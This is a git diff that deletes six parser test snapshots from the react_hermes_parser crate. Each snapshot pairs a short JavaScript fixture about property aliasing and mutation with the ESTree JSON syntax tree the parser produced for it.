diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-property-alias-mutate-inside-if.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-property-alias-mutate-inside-if.js.snap
deleted file mode 100644
index 0e4c311308c4..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-property-alias-mutate-inside-if.js.snap
+++ /dev/null
@@ -1,402 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/ssa-property-alias-mutate-inside-if.js
----
-Input:
-function foo(a) {
-  const x = {};
-  if (a) {
-    let y = {};
-    x.y = y;
-    mutate(y); // aliases x & y, but not z
-  } else {
-    let z = {};
-    x.z = z;
-  }
-  return x;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "a",
-          "typeAnnotation": null,
-          "loc": null,
-          "range": [
-            13,
-            14
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    26,
-                    27
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    30,
-                    32
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  26,
-                  32
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              20,
-              33
-            ]
-          },
-          {
-            "type": "IfStatement",
-            "test": {
-              "type": "Identifier",
-              "name": "a",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                40,
-                41
-              ]
-            },
-            "consequent": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "VariableDeclaration",
-                  "kind": "let",
-                  "declarations": [
-                    {
-                      "type": "VariableDeclarator",
-                      "id": {
-                        "type": "Identifier",
-                        "name": "y",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          53,
-                          54
-                        ]
-                      },
-                      "init": {
-                        "type": "ObjectExpression",
-                        "properties": [],
-                        "loc": null,
-                        "range": [
-                          57,
-                          59
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        53,
-                        59
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    49,
-                    60
-                  ]
-                },
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          65,
-                          66
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "y",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          67,
-                          68
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        65,
-                        68
-                      ]
-                    },
-                    "right": {
-                      "type": "Identifier",
-                      "name": "y",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        71,
-                        72
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      65,
-                      72
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    65,
-                    73
-                  ]
-                },
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "CallExpression",
-                    "callee": {
-                      "type": "Identifier",
-                      "name": "mutate",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        78,
-                        84
-                      ]
-                    },
-                    "arguments": [
-                      {
-                        "type": "Identifier",
-                        "name": "y",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          85,
-                          86
-                        ]
-                      }
-                    ],
-                    "loc": null,
-                    "range": [
-                      78,
-                      87
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    78,
-                    88
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                43,
-                120
-              ]
-            },
-            "alternate": {
-              "type": "BlockStatement",
-              "body": [
-                {
-                  "type": "VariableDeclaration",
-                  "kind": "let",
-                  "declarations": [
-                    {
-                      "type": "VariableDeclarator",
-                      "id": {
-                        "type": "Identifier",
-                        "name": "z",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          136,
-                          137
-                        ]
-                      },
-                      "init": {
-                        "type": "ObjectExpression",
-                        "properties": [],
-                        "loc": null,
-                        "range": [
-                          140,
-                          142
-                        ]
-                      },
-                      "loc": null,
-                      "range": [
-                        136,
-                        142
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    132,
-                    143
-                  ]
-                },
-                {
-                  "type": "ExpressionStatement",
-                  "expression": {
-                    "type": "AssignmentExpression",
-                    "operator": "=",
-                    "left": {
-                      "type": "MemberExpression",
-                      "object": {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          148,
-                          149
-                        ]
-                      },
-                      "property": {
-                        "type": "Identifier",
-                        "name": "z",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          150,
-                          151
-                        ]
-                      },
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        148,
-                        151
-                      ]
-                    },
-                    "right": {
-                      "type": "Identifier",
-                      "name": "z",
-                      "typeAnnotation": null,
-                      "loc": null,
-                      "range": [
-                        154,
-                        155
-                      ]
-                    },
-                    "loc": null,
-                    "range": [
-                      148,
-                      155
-                    ]
-                  },
-                  "directive": null,
-                  "loc": null,
-                  "range": [
-                    148,
-                    156
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                126,
-                160
-              ]
-            },
-            "loc": null,
-            "range": [
-              36,
-              160
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                170,
-                171
-              ]
-            },
-            "loc": null,
-            "range": [
-              163,
-              172
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          16,
-          174
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        174
-      ],
-      "loc": null,
-      "range": [
-        0,
-        174
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    174
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-property-alias-mutate.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-property-alias-mutate.js.snap
deleted file mode 100644
index 7e9c70237c06..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-property-alias-mutate.js.snap
+++ /dev/null
@@ -1,295 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/ssa-property-alias-mutate.js
----
-Input:
-function foo() {
-  const a = {};
-  const x = a;
-
-  const y = {};
-  y.x = x;
-
-  mutate(a); // y & x are aliased to a
-  return y;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    25,
-                    26
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    29,
-                    31
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  25,
-                  31
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              19,
-              32
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    41,
-                    42
-                  ]
-                },
-                "init": {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    45,
-                    46
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  41,
-                  46
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              35,
-              47
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    57,
-                    58
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    61,
-                    63
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  57,
-                  63
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              51,
-              64
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "=",
-              "left": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    67,
-                    68
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    69,
-                    70
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  67,
-                  70
-                ]
-              },
-              "right": {
-                "type": "Identifier",
-                "name": "x",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  73,
-                  74
-                ]
-              },
-              "loc": null,
-              "range": [
-                67,
-                74
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              67,
-              75
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "mutate",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  79,
-                  85
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    86,
-                    87
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                79,
-                88
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              79,
-              89
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "y",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                125,
-                126
-              ]
-            },
-            "loc": null,
-            "range": [
-              118,
-              127
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          15,
-          129
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        129
-      ],
-      "loc": null,
-      "range": [
-        0,
-        129
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    129
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-property-call.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-property-call.js.snap
deleted file mode 100644
index 179866b77841..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-property-call.js.snap
+++ /dev/null
@@ -1,265 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/ssa-property-call.js
----
-Input:
-function foo() {
-  const x = [];
-  const y = { x: x };
-  y.x.push([]);
-  return y;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    25,
-                    26
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    29,
-                    31
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  25,
-                  31
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              19,
-              32
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    41,
-                    42
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [
-                    {
-                      "type": "Property",
-                      "key": {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          47,
-                          48
-                        ]
-                      },
-                      "value": {
-                        "type": "Identifier",
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "loc": null,
-                        "range": [
-                          50,
-                          51
-                        ]
-                      },
-                      "kind": "init",
-                      "method": false,
-                      "shorthand": false,
-                      "computed": false,
-                      "loc": null,
-                      "range": [
-                        47,
-                        51
-                      ]
-                    }
-                  ],
-                  "loc": null,
-                  "range": [
-                    45,
-                    53
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  41,
-                  53
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              35,
-              54
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "MemberExpression",
-                  "object": {
-                    "type": "Identifier",
-                    "name": "y",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      57,
-                      58
-                    ]
-                  },
-                  "property": {
-                    "type": "Identifier",
-                    "name": "x",
-                    "typeAnnotation": null,
-                    "loc": null,
-                    "range": [
-                      59,
-                      60
-                    ]
-                  },
-                  "computed": false,
-                  "loc": null,
-                  "range": [
-                    57,
-                    60
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "push",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    61,
-                    65
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  57,
-                  65
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    66,
-                    68
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                57,
-                69
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              57,
-              70
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "y",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                80,
-                81
-              ]
-            },
-            "loc": null,
-            "range": [
-              73,
-              82
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          15,
-          84
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        84
-      ],
-      "loc": null,
-      "range": [
-        0,
-        84
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    84
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-property-mutate-2.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-property-mutate-2.js.snap
deleted file mode 100644
index 1fde71b48451..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-property-mutate-2.js.snap
+++ /dev/null
@@ -1,253 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/ssa-property-mutate-2.js
----
-Input:
-function foo() {
-  const x = [];
-  const y = {};
-  y.x = x;
-  mutate(x);
-  return y;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    25,
-                    26
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    29,
-                    31
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  25,
-                  31
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              19,
-              32
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    41,
-                    42
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    45,
-                    47
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  41,
-                  47
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              35,
-              48
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "=",
-              "left": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    51,
-                    52
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    53,
-                    54
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  51,
-                  54
-                ]
-              },
-              "right": {
-                "type": "Identifier",
-                "name": "x",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  57,
-                  58
-                ]
-              },
-              "loc": null,
-              "range": [
-                51,
-                58
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              51,
-              59
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "mutate",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  62,
-                  68
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    69,
-                    70
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                62,
-                71
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              62,
-              72
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "y",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                82,
-                83
-              ]
-            },
-            "loc": null,
-            "range": [
-              75,
-              84
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          15,
-          86
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        86
-      ],
-      "loc": null,
-      "range": [
-        0,
-        86
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    86
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-property-mutate-alias.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-property-mutate-alias.js.snap
deleted file mode 100644
index 5afe5f032faf..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-property-mutate-alias.js.snap
+++ /dev/null
@@ -1,295 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/ssa-property-mutate-alias.js
----
-Input:
-function foo() {
-  const a = {};
-  const y = a;
-  const x = [];
-
-  y.x = x;
-
-  mutate(a); // y & x are aliased to a
-  return y;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    25,
-                    26
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    29,
-                    31
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  25,
-                  31
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              19,
-              32
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    41,
-                    42
-                  ]
-                },
-                "init": {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    45,
-                    46
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  41,
-                  46
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              35,
-              47
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    56,
-                    57
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    60,
-                    62
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  56,
-                  62
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              50,
-              63
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "=",
-              "left": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    67,
-                    68
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    69,
-                    70
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  67,
-                  70
-                ]
-              },
-              "right": {
-                "type": "Identifier",
-                "name": "x",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  73,
-                  74
-                ]
-              },
-              "loc": null,
-              "range": [
-                67,
-                74
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              67,
-              75
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "mutate",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  79,
-                  85
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "a",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    86,
-                    87
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                79,
-                88
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              79,
-              89
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "y",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                125,
-                126
-              ]
-            },
-            "loc": null,
-            "range": [
-              118,
-              127
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          15,
-          129
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        129
-      ],
-      "loc": null,
-      "range": [
-        0,
-        129
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    129
-  ]
-}
diff --git a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-property-mutate.js.snap b/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-property-mutate.js.snap
deleted file mode 100644
index 5da23c676880..000000000000
--- a/compiler/crates/react_hermes_parser/tests/snapshots/parser_test__fixtures@ssa-property-mutate.js.snap
+++ /dev/null
@@ -1,253 +0,0 @@
----
-source: crates/react_hermes_parser/tests/parser_test.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{output}\")"
-input_file: crates/react_hermes_parser/tests/fixtures/ssa-property-mutate.js
----
-Input:
-function foo() {
-  const x = [];
-  const y = {};
-  y.x = x;
-  mutate(y);
-  return y;
-}
-
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": null,
-        "range": [
-          9,
-          12
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    25,
-                    26
-                  ]
-                },
-                "init": {
-                  "type": "ArrayExpression",
-                  "elements": [],
-                  "loc": null,
-                  "range": [
-                    29,
-                    31
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  25,
-                  31
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              19,
-              32
-            ]
-          },
-          {
-            "type": "VariableDeclaration",
-            "kind": "const",
-            "declarations": [
-              {
-                "type": "VariableDeclarator",
-                "id": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    41,
-                    42
-                  ]
-                },
-                "init": {
-                  "type": "ObjectExpression",
-                  "properties": [],
-                  "loc": null,
-                  "range": [
-                    45,
-                    47
-                  ]
-                },
-                "loc": null,
-                "range": [
-                  41,
-                  47
-                ]
-              }
-            ],
-            "loc": null,
-            "range": [
-              35,
-              48
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "AssignmentExpression",
-              "operator": "=",
-              "left": {
-                "type": "MemberExpression",
-                "object": {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    51,
-                    52
-                  ]
-                },
-                "property": {
-                  "type": "Identifier",
-                  "name": "x",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    53,
-                    54
-                  ]
-                },
-                "computed": false,
-                "loc": null,
-                "range": [
-                  51,
-                  54
-                ]
-              },
-              "right": {
-                "type": "Identifier",
-                "name": "x",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  57,
-                  58
-                ]
-              },
-              "loc": null,
-              "range": [
-                51,
-                58
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              51,
-              59
-            ]
-          },
-          {
-            "type": "ExpressionStatement",
-            "expression": {
-              "type": "CallExpression",
-              "callee": {
-                "type": "Identifier",
-                "name": "mutate",
-                "typeAnnotation": null,
-                "loc": null,
-                "range": [
-                  62,
-                  68
-                ]
-              },
-              "arguments": [
-                {
-                  "type": "Identifier",
-                  "name": "y",
-                  "typeAnnotation": null,
-                  "loc": null,
-                  "range": [
-                    69,
-                    70
-                  ]
-                }
-              ],
-              "loc": null,
-              "range": [
-                62,
-                71
-              ]
-            },
-            "directive": null,
-            "loc": null,
-            "range": [
-              62,
-              72
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "y",
-              "typeAnnotation": null,
-              "loc": null,
-              "range": [
-                82,
-                83
-              ]
-            },
-            "loc": null,
-            "range": [
-              75,
-              84
-            ]
-          }
-        ],
-        "loc": null,
-        "range": [
-          15,
-          86
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": [
-        0,
-        86
-      ],
-      "loc": null,
-      "range": [
-        0,
-        86
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": null,
-  "range": [
-    0,
-    86
-  ]
-}
